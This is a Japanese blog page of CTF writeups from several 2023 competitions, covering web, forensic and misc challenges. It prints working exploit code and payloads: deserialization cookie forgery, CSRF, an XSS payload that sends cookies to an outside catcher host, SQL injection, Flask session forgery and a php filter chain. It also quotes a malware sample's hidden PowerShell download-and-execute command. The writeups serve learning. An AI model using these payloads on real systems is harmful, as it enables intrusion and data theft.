はまやんはまやんはまやん

hamayanhamayan's blog

競技セキュリティまとめのまとめ

CTFとかBoot2Rootとか競技化(ゲーム化)されたセキュリティ関連の情報をまとめておく。
実世界では使わないこと。

WriteupとかWalkthroughとか(どちらも問題解説のこと)はSecurity カテゴリーの記事一覧 - はまやんはまやんはまやんに大量にあるので、漁ってください。

CTF

CTFにおけるWebセキュリティ入門とまとめ - はまやんはまやんはまやん


CTFにおけるステガノグラフィ入門とまとめ - はまやんはまやんはまやん
CTFにおけるフォレンジック入門とまとめ - はまやんはまやんはまやん

Boot2Root

脆弱なマシンが与えられてuserシェルとかrootシェルとか獲得する方式。
このジャンルVulnBox系と個人的に読んでますが、スタンダードは何なんでしょう。 -> Boot2Rootという名称を教えてもらったので修正。
手が空いていれば今年のアドカレはこのあたりを書く予定ですが、英語が読める人は以下のほうがいいです。

HackTM CTF 2023 Writeup

[web] Blog

フラグは/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txtにあり、LFIをするのが最終目標。

まず、目を引くのがindex.phpの以下の部分。
$user = unserialize(base64_decode($_COOKIE["user"]));
明らかにバッドプラクティスであり、Unsafe Deserializationを利用することで任意のUserクラスのインスタンスを生成可能である。

どのようなインスタンスを作ればLFIできるだろうかというのを考えると、util.phpのProfileクラスに
$picture = base64_encode(file_get_contents($this->picture_path));
というのがある。
Userクラスのget_profileメソッドを使えば呼び出すことができ、$this->picture_pathはUnsafe Deserializationで差し込みが可能。

ソースコードベースで関係ある部分を残すと以下のような感じ。

...
class User {
    public $profile;
    public $posts = array();

    ...

    // get user profile
    public function get_profile() {
        // some dev apparently mixed up user and profile... 
        // so this check prevents any more errors
        if ($this->profile instanceof User) {
            return "@i_use_vscode please fix your code";
        } else {
            // quite unnecessary to assign to a variable imho
            $profile_string = "
            <div>{$this->profile}</div>
            ";
            return $profile_string;
        }
    }

    ...
}

class Profile {
    public $username;
    public $picture_path = "images/real_programmers.png";

    ...

    public function __toString() {
        if (gettype($this->picture_path) !== "string") {        
            return "";
        }

        $picture = base64_encode(file_get_contents($this->picture_path));

        // check if user exists
        $conn = new Conn;
        $conn->queries = array(new Query(
            "select id from users where username = :username",
            array(":username" => $this->username)
        ));
        $result = $conn();
        if ($result[0] === false || $result[0]->fetchArray() === false) {
            return "<script>window.location = '/login.php'</script>";
        } else {
            return "
            <div class='card'>
                <img class='card-img-top profile-pic' src='data:image/png;base64,{$picture}'> 
                <div class='card-body'>
                    <h3 class='card-title'>{$this->username}</h3>
                </div>
            </div>
            ";
        }
    }
}

よって、Cookie$user->profile->picture_path = '/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt';となるようなpayloadを流し込んでやれば、base64で指定のファイルが出力されてくる。 適当にユーザーを作ってCookieを発行してもらい、以下のように改変してCookieを差し替えると、base64エンコードされたフラグが出てくる。

<?php

class User {
    // Userクラスの全体
}

class Profile {
    // Profileクラスの全体
}

$x = '[適当に作ったユーザーのCookie]';
$user = unserialize(base64_decode($x));
$user->profile->picture_path = '/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt';
echo base64_encode(serialize($user));

LA CTF 2023 Writeups

[web] college-tour

Burp Suiteを開いて、サイトを巡回して、ソースコードを眺める。
lactf{number_text}という形でフラグがちりばめられているらしい。

拡張機能のLogger++を入れて抜き出してこよう。
Grep Valuesで適当にlactf\{[^\}]*\}を入れて持ってくる。

lactf{number_text}
lactf{1_lOsT}
lactf{2__!N_b}
lactf{3_03LT3r}
lactf{lOsT_!N_b03LT3r}
lactf{1_j03_4}
lactf{2_nd_j0}
lactf{4_n3_bR}
lactf{6_AY_hi}
lactf{5_U1n_s}
lactf{3_S3phI}

1,2,3が複数あるが、とりあえず後半に固まっている1~6の文字部分をくっつけて
送ると正答。

[web] metaverse

AdminBotが与えられているのでXSS方面で探していていたが…違った。
あと、見た目に反して異様にsolve数が多かったが、
これはtest:testで入ると誰かがフラグを獲得していたからとみられる…

accounts.set("admin", {
    password: adminpw,
    displayName: flag,
    posts: [],
    friends: [],
});

重要なのはadminのdisplayNameにflagが与えられているので、これを表示させたい。
displayNameが使われている所を探すと、

app.get("/friends", needsAuth, (req, res) => {
    res.type("application/json");
    res.send(
        JSON.stringify(
            accounts
                .get(res.locals.user)
                .friends.filter((username) => accounts.has(username))
                .map((username) => ({
                    username,
                    displayName: accounts.get(username).displayName,
                }))
        )
    );
});

のように、友達登録されている人のdisplayNameは見られるらしい。
なので、adminに対して自分を友達登録させればいい。
ここまで来るとXSSというより、CSRFだったんだなという感じになる。
CSRF対策も特にされてないので、POST /friendを踏ませればいい。

<form id="friend" method="post" action="https://metaverse.lac.tf/friend">
    <input type="text" name="username" value="fjsadkfjsidji235jire">
    <input type="submit" value="Submit">
</form>
<script>
    friend.submit();
</script>

[web] uuid hell

あまりよく理解してないが、UUIDの生成部分を見ると色々カスタム設定されている。

function randomUUID() {
    return uuid.v1({'node': [0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69], 'clockseq': 0b10101001100100});
}

試しに同じルールで手元で作ってみる。

267cdf40-aa8a-11ed-aa64-67696e6b6f69
267da290-aa8a-11ed-aa64-67696e6b6f69
267da291-aa8a-11ed-aa64-67696e6b6f69
267da292-aa8a-11ed-aa64-67696e6b6f69
267da293-aa8a-11ed-aa64-67696e6b6f69
267dc9a0-aa8a-11ed-aa64-67696e6b6f69
267dc9a1-aa8a-11ed-aa64-67696e6b6f69
267dc9a2-aa8a-11ed-aa64-67696e6b6f69
267dc9a3-aa8a-11ed-aa64-67696e6b6f69
267df0b0-aa8a-11ed-aa64-67696e6b6f69

短時間で作るとかなり偏りがあるが、かぶることはないみたい。
適当に全探索範囲を限定しながら探索すると、管理者のuuidを特定できた。
以下のようなソルバーを回すと回答が得られる

import requests
import re
import hashlib

URL = 'https://uuid-hell.lac.tf/'
requests.post(URL + 'createadmin')
rawtext = requests.get(URL).text

myid = re.findall(r'You are logged in as ([0-9a-f\-]*)', rawtext)[0]
print(myid)

md5s = re.findall(r'[0-9a-f]{32}', rawtext)
admins = md5s[:50]
users = md5s[50:]

chars = '0123456789abcdef'
for c1 in chars:
    for c2 in chars:
        print('..' + c1 + c2 + '???....')
        for c3 in chars:
            for c4 in chars:
                for c5 in chars:
                    for c6 in chars:
                        for c7 in chars:
                            challenge = myid[:1] + c1 + c2 + c3 + c4 + c5 + c6 + c7 + myid[8:]
                            #print(challenge + ' vs ' + myid)
                            h = hashlib.md5(('admin'+challenge).encode()).hexdigest()
                            if h in admins:
                                print('Found! ->' + challenge)
                                print(requests.get(URL, cookies={'id': challenge}).text)
                                exit(0)


mymd5 = hashlib.md5(myid.encode()).hexdigest()
print(mymd5)
if mymd5 in users:
    print('OK!')

[web] 85_reasons_why

フラグが明確には書いていないが、SQL Injectionできそうな箇所がviews.pyにあった。
入力も普通に外部から渡せそう。

@app.route('/image-search', methods=['GET', 'POST'])
def image_search():
    if 'image-query' not in request.files or request.method == 'GET':
        return render_template('image-search.html', results=[])

    incoming_file = request.files['image-query']
    size = os.fstat(incoming_file.fileno()).st_size
    if size > MAX_IMAGE_SIZE:
        flash("image is too large (50kb max)");
        return redirect(url_for('home'))

    spic = serialize_image(incoming_file.read())

    try:
        res = db.session.connection().execute(\
            text("select parent as PID from images where b85_image = '{}' AND ((select active from posts where id=PID) = TRUE)".format(spic)))
    except Exception:
        return ("SQL error encountered", 500)
...

入力はserialize_imageによって変換処理がかかっている。
Ascii85 - Wikipediaというエンコーディングらしい。

def serialize_image(pp):
    b85 = base64.a85encode(pp)
    b85_string = b85.decode('UTF-8', 'ignore')

    # identify single quotes, and then escape them
    b85_string = re.sub('\\\\\\\\\\\\\'', '~', b85_string)
    b85_string = re.sub('\'', '\'\'', b85_string)
    b85_string = re.sub('~', '\'', b85_string)

    b85_string = re.sub('\\:', '~', b85_string)
    return b85_string

文字種はかなりあり、print(base64.a85encode(b'\x15\x09\xfb').decode('UTF-8', 'ignore'))とやればシングルクオートも作れる。
なんとなく文字は作れそうなので、後半の変換を回避することを考える。
~ OR 1=1 --がうまくいきそうだが、~はちょうどAscii85にない。
なので、最初の変換を使って\\\\\\' OR 1=1 --とすればいいよさそうだが、変換過程でスペースが消えてしまう。
だが、これはspace2commentで回避可能。
あとは変換でおかしくならないように適当にやると\\\\\\'/**/OR/**/1=1 -- dが最終的な答えになる。

From Base85, To Hex - CyberChefTo_Hex('%5C%5Cx',0)&input=XFxcXFxcJy8qKi9PUi8qKi8xPTEgLS0gZA)
このようにpayloadをつくる。

echo -en "\xb9\xc2\x0a\x5f\xb7\xcc\x5c\x7d\x2d\x43\xbb\xdc\x1c\x85\xa8\x1b\x25\xce" > payload.bin
こうやってバイナリにして、POST /image-searchに送り付けると、
\\\\\\'/**/OR/**/1=1--cとなって、条件を恒真にできる。
するとフラグが入ったポストが現れる。

DiceCTF 2023 writeups

[web] recursive-csp

レスポンスを見ると/?sourceというのがあるので、アクセスするとソースコードが見られる。
重要なところを抜粋すると以下の通り。

<?php
  if (isset($_GET["source"])) highlight_file(__FILE__) && die();

  $name = "world";
  if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
    $name = $_GET["name"];
  }

  $nonce = hash("crc32b", $name);
  header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
...
    <h1>Hello, <?php echo $name ?>!</h1>
...

全体をCRC32Bでハッシュ化したものがnonceとして採用されるとのこと。
352441c2のように8文字でHEXなので、全探索で適当な文字列を追加して調整してやればよさそう。

以下のような競技プログラミング本当にやってましたか?みたいなコードを書いて、
条件を満たすペイロードを探索した。

<?php
$chars = array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f');

foreach ($chars as $c1) {
    foreach ($chars as $c2) {
        echo $c1 . $c2 . "XXXXX" . "\n";
        foreach ($chars as $c3) {
            foreach ($chars as $c4) {
                foreach ($chars as $c5) {
                    foreach ($chars as $c6) {
                        foreach ($chars as $c7) {
                            foreach ($chars as $c8) {
                                foreach ($chars as $c9) {
    $nonce1 = $c1 . $c2 . $c3 . $c4 . $c5 . $c6 . $c7 . $c8;
    $name = '<script nonce="' . $nonce1 . '">location=["https://z.requestcatcher.com/t?",document.cookie]</script>' . $c9;
    $nonce2 = hash("crc32b", $name);

    //echo $name . "\n";
    //echo $nonce2 . "\n";

    if ($nonce1 === $nonce2) {
        echo $name . "\n";
        echo $nonce2 . "\n";
        echo 'Yea!' . "\n";
        die();
    }
}}}}}}}}}
?>

祈りながらこれを動かすと以下で止まる。

<script nonce="1901f002">location=["https://z.requestcatcher.com/t?",document.cookie]</script>1

なので、requestcatcherで待って以下のように送るとフラグが手に入る。

https://recursive-csp.mc.ax/?name=%3Cscript+nonce%3D%221901f002%22%3Elocation%3D%5B%22https%3A%2F%2Fz.requestcatcher.com%2Ft%3F%22%2Cdocument.cookie%5D%3C%2Fscript%3E1

Byte Bandits CTF 2023 (BBCTF 2023) Writeups

[Forensic] Imageception

stringsで見てみるとWindowsのメモリダンプっぽいので、Volatility 3でwindows.infoしてみる。

$ python3 ~/.opt/volatility3/vol.py -f imageception.raw windows.info
Kernel Base     0xf80778a18000
DTB     0x1aa000
Symbols file:///home/eric/.opt/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/68A17FAF3012B7846079AEECDBE0A583-1.json.xz
Is64Bit True
IsPAE   False
layer_name      0 WindowsIntel32e
memory_layer    1 FileLayer
KdVersionBlock  0xf80779627398
Major/Minor     15.19041
MachineType     34404
KeNumberProcessors      1
SystemTime      2022-12-16 08:28:29
NtSystemRoot    C:\Windows
NtProductType   NtProductWinNt
NtMajorVersion  10
NtMinorVersion  0
PE MajorOperatingSystemVersion  10
PE MinorOperatingSystemVersion  0
PE Machine      34404
PE TimeDateStamp        Wed Jun 28 04:14:26 1995

いい感じに解析できている。Windows 10のメモリダンプっぽい。 windows.pstreeで怪しいものがある。

548  472 winlogon.exe    0xa08f6cf1c080  6   -   1   False   2022-12-16 08:25:52.000000  N/A
* 884   548 dwm.exe 0xa08f6cd80080  17  -   1   False   2022-12-16 08:25:53.000000  N/A
* 3012  548 userinit.exe    0xa08f6e699300  0   -   1   False   2022-12-16 08:26:01.000000  2022-12-16 08:26:25.000000 
** 3044 3012    explorer.exe    0xa08f6e6d6300  86  -   1   False   2022-12-16 08:26:01.000000  N/A
*** 4880    3044    SecurityHealth  0xa08f6e5a22c0  6   -   1   False   2022-12-16 08:26:16.000000  N/A
*** 4448    3044    mspaint.exe 0xa08f6e45b080  8   -   1   False   2022-12-16 08:27:45.000000  N/A
*** 5012    3044    msedge.exe  0xa08f6ed07080  0   -   1   False   2022-12-16 08:26:17.000000  2022-12-16 08:27:40.000000 
**** 4328   5012    msedge.exe  0xa08f6f44f080  41  -   1   False   2022-12-16 08:27:39.000000  N/A
***** 4600  4328    msedge.exe  0xa08f6f3e0080  12  -   1   False   2022-12-16 08:27:39.000000  N/A
***** 5444  4328    msedge.exe  0xa08f6f1a4080  9   -   1   False   2022-12-16 08:27:39.000000  N/A
***** 5164  4328    msedge.exe  0xa08f6ef07080  7   -   1   False   2022-12-16 08:27:39.000000  N/A
***** 5708  4328    msedge.exe  0xa08f6f4da080  16  -   1   False   2022-12-16 08:27:39.000000  N/A
*** 5256    3044    DumpIt.exe  0xa08f6f404080  2   -   1   True    2022-12-16 08:28:27.000000  N/A
**** 4644   5256    conhost.exe 0xa08f6ebb1080  5   -   1   False   2022-12-16 08:28:27.000000  N/A

mspaint.exeが開かれている…
windows.cmdlineを実行してみると

4448 mspaint.exe "C:\Windows\system32\mspaint.exe" "C:\Users\bbctf\Desktop\imageception.png"

この画像を取得することはできないだろうか。
windows.filescanを見てみよう。

0xa08f6ca23200   \Users\bbctf\Desktop\imageception.png   216

ありますね…

python3 ~/.opt/volatility3/vol.py -f imageception.raw windows.dumpfiles --pid 4448 --virtaddr 0xa08f6ca23200 でファイルが落とせてくるので、適当にmv file.0xa08f6ca23200.0xa08f6c9d1350.DataSectionObject.imageception.png.dat imageception.pngとして開くとフラグが書いてある。

[Forensic] Random Requests

プロトコル階層統計を使って記録パケット種別を把握して色々眺めるとhttp && ip.src_host == 10.0.2.15で特徴的なリクエストが見られる。
GET /flag=の後に0か1か%20が記録されている。
時系列順に全部取ってきて、%20を空白ではなく改行にしてみると以下のような感じ。

01011010
01101101
01111000
01101000
01011010
00110011
01110100
...

バイト列を2進数表記したものに見える。
CyberChefのFrom Binaryで変換すると ZmxhZ3tuT1RfU29fcjRuZG9tX2g3N3BfcjNxdTM1dHN9 となる。
雑にCyberChefのMagicを使うとbase64とのことなので、From Base64も追加するとフラグが出てくる。

[Forensic] Vastness of Space

色々試すとexiftoolで情報が出てくる。

$ exiftool Empty_Space.jpg
...
XP Comment                      : The password is "BBCTF"
...

steghideを使うとCSVファイルが得られる。

$ steghide extract -sf Empty_Space.jpg -p BBCTF -xf out.bin
wrote extracted data to "out.bin".

$ file out.bin
out.bin: CSV text

xy座標っぽいのでそれをドットに変換して画像にしてみる。

from PIL import Image

picture = Image.new("RGB", (300, 300), "white")
pixels = picture.load()

with open('out.bin') as fp:
    for line in fp.readlines():
        x = int(line.split(',')[0])
        y = int(line.split(',')[1])
        #print(f'{x},{y}')
        pixels[x,y] = (0, 0, 0, 0)

picture.save("flag.png", "PNG")

するとQRコードが出てくるので復号するとフラグが出てくる。

[misc] Meaning of Life

数字を入れるとシークされたいつもの動画へのURLのbase64エンコード物がもらえる。
何も怪しいところがないので数字を全探索してみる。

import requests
import re
import time

for idx in range(1, 100):
    time.sleep(3)
    r = requests.post('http://misc.bbctf.fluxus.co.in:2002/', data={'key_num': idx}).text
    m = re.findall(r'<p><b>Hash Value : </b> ([^<]*) </p>', r)
    print(f'{idx} -> {m[0]}')

これを動かすと42で雰囲気が変わる。

42 -> aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1GSVViUkprS2psRQ==

実際動画も変わっていて、ピーという音が鳴る動画になる。
雰囲気はモールス信号…

頑張って復号するとCIC4D4FLI35となり、これをflag{}でくるむと正答。

[misc] Peer Pressure

クリックするといつもの動画に飛ばされる。
Burpの履歴を見るとGET /aGVhZA==?が呼ばれている。
aGVhZA==はbase64デコードするとHEADになるので、HEADで呼べばいいのか?
HEAD /aGVhZA==?とすると、レスポンスヘッダーのpngとしてbase64エンコードされた何かが送られてきた。
デコードしてみると普通のpngファイル。

適当にもってきて、試しにexiftoolをしてみるとフラグがあった。
exiftool a.png | grep flag

[misc] Virus Attack

netcatでつないでみるとpythonインタプリターっぽいものが出てくる。

>>> id
<built-in function id>

となるのでpythonインタプリターなのだろう。

>>> system
Sorry You cant write system

怒られた。色々打ってみるとブラックリストがあるみたい。
以下見た禁止文字。多分他にもいろいろある。

system
read
os
import
S

適当にガチャガチャやっているとLFIできることが分かった。
ファイル名をエスパーするとフラグが得られる。
set(open('flag.txt'))

[web] Hi-Score

1秒間に100回クリックできればいいらしい。
クリックしてみると特にリクエストは飛んでいない。
/static/TheScript.jsで色々処理がなされているみたい。

クリックしたときのコードは以下のような感じ。

function Clicks() {
    var _0x287a2f = _0x1a8b;
    if (klicks == 0x0) end = new Date()[_0x287a2f(0x1f5)]();
    (end1 = new Date()[_0x287a2f(0x1f5)]() - end),
        (klicks += 0x1),
        (score = (klicks / end1) * 0x3e8);
    if (score == Infinity) score = 0x0;
    (score = score[_0x287a2f(0x204)](0x3)),
        (document[_0x287a2f(0x1f4)](_0x287a2f(0x1fd))["innerHTML"] =
            _0x287a2f(0x207) + score + _0x287a2f(0x1fc));
    if (score >= 0x64) _0x125e1a();
    else document["getElementById"](_0x287a2f(0x1f8))[_0x287a2f(0x200)] = "";
    function _0x125e1a() {
        var _0x162e81 = _0x287a2f;
        document["getElementById"](_0x162e81(0x1f8))[_0x162e81(0x200)] =
            _0x162e81(0x1fe);
    }
}

特に注目したいのがif (score >= 0x64) _0x125e1a();の部分。
得点が一定以上なら0x125e1aが呼ばれる。
ここで使われている
0x162e81は0x287a2fであり、冒頭を見ると0x1a8bなので、
実行されるのは以下のコードとなる。

document["getElementById"](_0x1a8b(0x1f8))[_0x1a8b(0x200)] = _0x1a8b(0x1fe);

これをChrome Developer ToolsのConsoleで直接動かしてやればフラグへのリンクが出てくる。

[web] Improper Error Handling

適当に入れてみるとError: Length too shortと言われる。
ちょっと伸ばしてみよう。

GET /api/error?length=111111111111111111111111111111111111111111111111 とするとINDhKQiOO28IpK0vqn9xOjc1QOWjL2pXN31IsOTeCOoFT4qE
なんだこれは

適当に長さを調整するとフラグが出てくる
GET /api/error?length=11111111111111111111111111111111

idekCTF 2023 Writeup

[web] Readme

/just-read-itというエンドポイントが用意されている。
バリデーションチェックが通るようにjsonを投げるとフラグがもらえるようだ。

randomDataに乱数が入っていて、一部[12625:]の領域にパスワードハッシュが格納されている。
ordersには整数の配列を指定可能で、指定された数だけrandomDataからデータを取り出してくれる。
ordersによる取り出しが終わった後に32bytes分取り出しを行ってそれがパスワードハッシュと一致すればフラグがもらえる。
つまり、ordersによる取り出しで12625bytes分取り出せればいいのだが、これは個数制限があってできないように見える。

色々実験していると

func GetValidatorCtxData(ctx context.Context) (io.Reader, int) {
    ...
    if size >= 100 {
        reader = bufio.NewReader(reader)
    }

ここが原因で何やら不思議なことが起きている。
randomDataはシードが固定なので常に同じバイト列が出てくるのを利用してどれだけバッファのseekが進んでいるかを確認してみる。
{"orders":[100,1]}のようにしてみると、101バイトシークが進むはずなのだが、4097バイト進む。
理由はさっぱりわからない。
{"orders":[100,100,1]}とすると8193バイト進む。
なので100を指定すると4096バイト分進めることができるらしい。
12625バイト分進めたいので、40963=12288であと337バイト。993=297であと40バイト。
つまり、12625 = 4096*3 + 99*3 + 40なので{"orders":[100,100,100,99,99,99,40]}でフラグ獲得。

[web] SimpleFileServer

zipにシンボリックリンクを入れておくテクを使えばLFIができる。手順は以下の通り。

  1. ln -s /tmp/database.db database.db みたいにLFIしたいパスでシンボリックリンク作成
  2. zip -ry x.zip database.db でzipにする
  3. x.zipを送って、指定のファイル名を取得してやるとLFI可能

database.dbに面白い情報はないが、admin権限が付いているユーザーはいないということが分かった。
他にもいろいろ取ってみる。

/tmp/server.logからサーバの起動時刻がわかる。

[2023-01-13 23:04:17 +0000] [9] [INFO] Starting gunicorn 20.1.0
[2023-01-13 23:04:17 +0000] [9] [INFO] Listening at: http://0.0.0.0:1337 (9)
[2023-01-13 23:04:17 +0000] [9] [INFO] Using worker: sync
[2023-01-13 23:04:17 +0000] [15] [INFO] Booting worker with pid: 15
[2023-01-13 23:04:17 +0000] [16] [INFO] Booting worker with pid: 16
[2023-01-13 23:04:18 +0000] [17] [INFO] Booting worker with pid: 17

/app/config.pyから隠されていたSECRET_OFFSETの値がわかる。

import random
import os
import time

SECRET_OFFSET = -67198624
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")

以上の情報からSECRET_KEYが推測可能。
SECRET_KEYが分かれば、flaskのsessionの改ざんができる。
session情報もcookieに入っているので、改ざんできればadmin権限にも昇格可能。

2023-01-13 23:04:17はunixtimeにすると1673651057なので、この周辺で鍵を作る。
ミリ秒まで考慮していることから適当に探索範囲を選んでやる。

import random
import os
import time

BASE = 1673651057 * 1000
SECRET_OFFSET = -67198624 * 1000
for d in range(-10000,1000):
    random.seed(BASE + SECRET_OFFSET + d)
    print("".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", ""))

出力をdic.txtとして保存しておきflask-unsign -c "eyJhZG1pbiI6bnVsbCwidWlkIjoiZXZpbG1hbiJ9.Y8JMTQ.g-cgmU0kj0uleP9o1WATgycGdGE" --unsign --wordlist dic.txt --no-literal-evalで辞書攻撃すると鍵がわかる。

84787d274d6b7e03d94ce2dcbfe85bf1

flask-unsign --sign --secret 84787d274d6b7e03d94ce2dcbfe85bf1 --cookie "{'admin': True, 'uid': 'evilman'}"Cookieを作ってセットして/flagを踏めば答え。

[web] Paywall

flagファイルを普通に読み出すと読み出せない。
FREEという文字列が入っていれば読み出し可能だが…という問題。

phpのfilterを使えば変換後に任意の文字列を先頭に持ってくることができるので、flagファイルをベースにして変換を実施してFREEを先頭にもってこよう。

synacktiv/php_filter_chain_generatorを使ってpayloadをつくる。

?p=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|/resource=flag

とやると、

FREEGyQpQ1BSRU1JVU0gLSBpZGVre1RoNG5rX1VfNF9TdWJzY1IxYjFuZ190MF9vdXJfbjN3c1BIUGFwZXIhfQ+-AD0APQ+-AD0APQ+-AD0APQ+-AD0APQ+AD0APQ-

と出てきた。これを復元するときは、base64デコードするだけでいい。フラグが出てくる。

[forensic] HiddenGem Mixtape 1: Initial Access 解けなかった

HiddenGem.7zの方はパスワードがかかっていて、次の発展問題で使用されるっぽい。
とりあえず、2023-01-07T194857_HiddenGem.zipの方を解析してみる。
解凍するとvhdxファイルがある。FTK Imagerで開く。

「メールで受信した文書ファイル」があるらしいので探す。
C:\Users\IEUser\Documents\Policy Update 2023-01-08T01_37_35+07_00.emlというファイルがある。

X-Pm-Content-Encryption: end-to-end
X-Pm-Origin: internal
Subject: Policy Update
From: Jake Weary <j4k3w34ry-pr0t0nm41l@protonmail.com>
Date: Sat, 07 Jan 2023 18:37:35 +0000
Mime-Version: 1.0
Content-Type: multipart/mixed;boundary=---------------------448eb183760f1434a460fff4086e8bf7
To: blu3dr490n@protonmail.com <blu3dr490n@protonmail.com>
X-Attached: Policy.7z
Message-Id: <H2jIbqy73OjXavbQI-QcTJFDM-sHd7XSZWInhmJpNkrKIyLxX9lhg-hsK9rt2-yzDyz7b4qtIutKVlvPkRbmm3MDIYhovDkRL4hhfwNxlf8=@protonmail.com>
X-Pm-Spamscore: 0
Received: from mail.protonmail.ch by mail.protonmail.ch; Sat, 07 Jan 2023 18:37:47 +0000
X-Original-To: blu3dr490n@protonmail.com
Return-Path: <j4k3w34ry-pr0t0nm41l@protonmail.com>
Delivered-To: blu3dr490n@protonmail.com

-----------------------448eb183760f1434a460fff4086e8bf7
Content-Type: multipart/related;boundary=---------------------fdd96beab7c150c9b923a38cfb866162

-----------------------fdd96beab7c150c9b923a38cfb866162
Content-Type: text/html;charset=utf-8
Content-Transfer-Encoding: base64

PGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyBmb250LXNpemU6IDE0cHg7Ij48c3BhbiBz
...
ICA8L2Rpdj4KPC9kaXY+Cg==
-----------------------fdd96beab7c150c9b923a38cfb866162--
-----------------------448eb183760f1434a460fff4086e8bf7
Content-Type: application/octet-stream; filename="Policy.7z"; name="Policy.7z"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Policy.7z"; name="Policy.7z"

N3q8ryccAAT1emvqsFgBAAAAAAAyAAAAAAAAALAdG4k46ZCmmR+X4XNaj/JiVsvZHhSnUQp78+TU
...
Uw8s3sB0bDq+ZPe73p7jVoeKDICCCgGyNCbCAAA=
-----------------------448eb183760f1434a460fff4086e8bf7--

中身はこんな感じ。
base64encodedのものが2つあるので、中身を見てみる。

<div style="font-family: Arial; font-size: 14px;"><span style="line-height:1.5"><span>We have just completed the Security Baseline for employees and personal computers due to some information leaks, so it is necessary to update the company's information security policy.</span></span><div style="line-height:1.5"><br></div><div style="line-height:1.5"><span>In order to ensure the Company's internal information security, I request you to read and master the content of the policy</span></div><div style="line-height:1.5"><br></div><div style="line-height:1.5"><span>This is a confidential document, so it should be protected</span></div><span style="line-height:1.5"></span><span style="line-height:1.5">Password is Privacy4411@2023!!!</span><br></div><div style="font-family: Arial; font-size: 14px;"><br></div>
<div class="protonmail_signature_block" style="font-family: Arial; font-size: 14px;">
    <div class="protonmail_signature_block-user protonmail_signature_block-empty">
        
            </div>
    
            <div class="protonmail_signature_block-proton">
        Sent with <a target="_blank" href="https://proton.me/" rel="noopener noreferrer">Proton Mail</a> secure email.
    </div>
</div>

片方はメール本文。パスワードはPrivacy4411@2023!!!
もう片方はPolicy.7zというファイル。
解凍するとPolicy.xlsxというファイルが出てくる。
oleid Policy.xlsxでとりあえず解析してみるが、何も出てこない。

7zipでxlsxを解凍して中身を漁ってみると、xl/externalLinks/externalLink1.xmlに面白い記載がある。

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<externalLink xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14" xmlns:x14="http://schemas.microsoft.com/office/spreadsheetml/2009/9/main"><ddeLink xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" ddeService="cmd" ddeTopic="/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(\&quot;hxxp://172.21.20[.]96/windowsupdate.ps1\&quot;);IEX $e"><ddeItems><ddeItem name="_xlbgnm.A1" advise="1"/><ddeItem name="StdDocumentName" ole="1" advise="1"/></ddeItems></ddeLink></externalLink>

つまり、cmd /c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(\&quot;hxxp://172.21.20[.]96/windowsupdate.ps1\&quot;);IEX $eが実行されている。
感染経路は分かったが、ここ止まりな気がするな。

PowerShellの動きを追っていけばよさそうなので、次はWindowsイベントログを見てみる。
c:\Windows\System32\winevt\を見てみる。
ファイルサイズでソートすると、Sysmonが動いているみたい。
一番ファイルサイズの大きい、Microsoft-Windows-Sysmon%4Operational.evtxをまずは見てみる。
Eric Zimmerman's toolsのEvtxECmdでcsvに変換して適当にみていこう。

.\EvtxECmd.exe -f .\Microsoft-Windows-Sysmon%4Operational.evtx --csv . --csvf sysmon-operational.csv

Event ID        Count
1               2,780
4               9
5               2,473
16              1

コマンド履歴から検索すると2023-01-07 18:49:55に実行履歴が残っていた。
移行タイムゾーンは全部UTC(のはず)。

{"EventData":{"Data":[{"@Name":"RuleName","#text":"-"},{"@Name":"UtcTime","#text":"2023-01-07 18:49:55.186"},{"@Name":"ProcessGuid","#text":"0df7607b-bed3-63b9-5b00-000000001d00"},{"@Name":"ProcessId","#text":"4020"},{"@Name":"Image","#text":"C:\\Windows\\System32\\cmd.exe"},{"@Name":"FileVersion","#text":"6.1.7601.17514 (win7sp1_rtm.101119-1850)"},{"@Name":"Description","#text":"Windows Command Processor"},{"@Name":"Product","#text":"Microsoft® Windows® Operating System"},{"@Name":"Company","#text":"Microsoft Corporation"},{"@Name":"OriginalFileName","#text":"Cmd.Exe"},{"@Name":"CommandLine","#text":"CMD.EXE /c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(\\\"http://172.21.20.96/windowsupdate.ps1\\\");IEX 